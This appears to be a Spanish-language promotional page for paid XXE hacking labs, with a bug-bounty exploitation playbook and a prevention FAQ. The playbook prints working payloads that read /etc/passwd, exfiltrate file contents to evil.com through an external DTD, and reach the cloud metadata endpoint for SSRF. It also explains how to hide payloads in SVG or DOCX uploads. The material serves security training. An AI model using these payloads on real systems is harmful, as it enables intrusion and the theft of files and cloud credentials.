Nuevos labs cada semana — Accede a todos desde 7,99€/mes
Ver labs →Labs de XXE
XML External Entity (XXE)
¿Qué es XXE?
La XXE explota parsers XML que resuelven entidades externas. Permite leer archivos arbitrarios del servidor, hacer SSRF (vía DTD remoto), ataques de DoS (billion laughs) y, en algunos parsers, ejecución remota de código.
¿Por qué practicar XXE?
Aunque muchos parsers tienen entities desactivadas por defecto post-2018, sigue apareciendo en features que aceptan archivos XML/SVG/DOCX/SOAP, importadores de configuración y APIs SAML. Un XXE crítico paga $2,000-$15,000 por la lectura arbitraria de archivos y SSRF.
¿Qué aprenderás con los labs de XXE?
Aprenderás a construir DTDs internas (file:// targets), DTDs externas para blind XXE con exfil OOB via FTP/HTTP, payloads disfrazados en SVG/DOCX/PPTX (XML zipped), y los bypass de los parsers más comunes (libxml2, JAXB, Python lxml).
Tipos de XXE que cubrimos
- In-band XXE
El output del XML parseado se refleja en la respuesta. Lees /etc/passwd directamente.
- Blind XXE (OOB)
Sin output: usas DTD externa que hace una petición HTTP/FTP a tu Burp Collaborator con el contenido del archivo encoded.
- XXE via SVG
Apps que aceptan SVG (avatar upload, image processor) lo parsean como XML. Mismo vector, packaging diferente.
- XXE en SOAP/SAML
Endpoints legacy que parsean SAML/SOAP sin disable_entities. Suelen estar en B2B y enterprise.
¿Cómo encontrar y explotar XXE?
Playbook práctico — del recon a la prueba de concepto.
- 1
Localizar entrada XML
Cualquier endpoint que parsee XML: APIs SOAP/REST con Content-Type xml, importadores, SAML, RSS, y subidas de SVG/DOCX/XLSX (que son XML por dentro).
POST /api/import Content-Type: application/xml - 2
Probar lectura in-band
Define una entidad externa que apunte a un fichero local y refléjala donde la respuesta muestre tu dato.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r> - 3
Pasar a blind con OOB
Si no se refleja, aloja una DTD externa que lea el fichero y lo exfiltre por HTTP/FTP a tu servidor mediante un parameter entity.
<!DOCTYPE r [<!ENTITY % p SYSTEM "http://evil.com/x.dtd"> %p;]> - 4
Construir la DTD de exfiltración
En tu DTD externa, lee el fichero y concaténalo en una URL de callback para recibir su contenido.
<!ENTITY % f SYSTEM "file:///etc/passwd"><!ENTITY % e "<!ENTITY % x SYSTEM 'http://evil.com/?d=%f;'>">%e;%x; - 5
Convertir XXE en SSRF
Apunta la entidad a servicios internos o a la metadata cloud para pivotar dentro de la red.
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> - 6
Disfrazar el payload
Empaqueta el XXE en SVG (avatar/preview) o en un DOCX/XLSX (descomprime, edita el XML, recomprime) para colarlo donde solo aceptan 'imágenes' o 'documentos'.
avatar.svg con <!DOCTYPE> y &xxe; en el contenido del SVG
Cargando labs...
Ver en catálogo completo →Preguntas frecuentes
¿Qué es un XXE?
XML External Entity es una vulnerabilidad en parsers XML mal configurados que resuelven entidades externas. Permite leer ficheros locales, hacer SSRF hacia servicios internos, provocar DoS (billion laughs) y, en algunos parsers, escalar a RCE.
¿Cómo se explota un XXE?
Se envía un documento XML con un DOCTYPE que define una entidad externa apuntando a file:// o http://. Si el parser la resuelve, el contenido se refleja (in-band) o, en blind, se exfiltra a un servidor del atacante mediante una DTD externa con parameter entities.
¿Cómo encontrar XXE en bug bounty?
Busca cualquier feature que procese XML: APIs SOAP, SAML, importadores, feeds y subidas de SVG/DOCX/XLSX. Inyecta una entidad externa hacia tu collaborator; si recibes la petición, hay XXE aunque la respuesta no muestre nada.
¿Cómo prevenir un XXE?
Deshabilita la resolución de DTD y entidades externas en el parser (disallow-doctype-decl, FEATURE_SECURE_PROCESSING), usa formatos más simples como JSON cuando sea posible, y mantén actualizadas las librerías de parsing XML.
¿Diferencia entre XXE y SSRF?
El XXE es el vector (un parser XML que resuelve entidades externas) y el SSRF puede ser una de sus consecuencias: si la entidad apunta a http://interno, el servidor hace la petición. También permite lectura de ficheros (file://), algo que un SSRF puro no siempre logra.
Otras categorías relacionadas
Empieza con labs de XXE
Practica XML External Entity (XXE) con labs basados en reportes reales. En español. Desde 7,99€/mes.
Empieza con el primer lab de XXE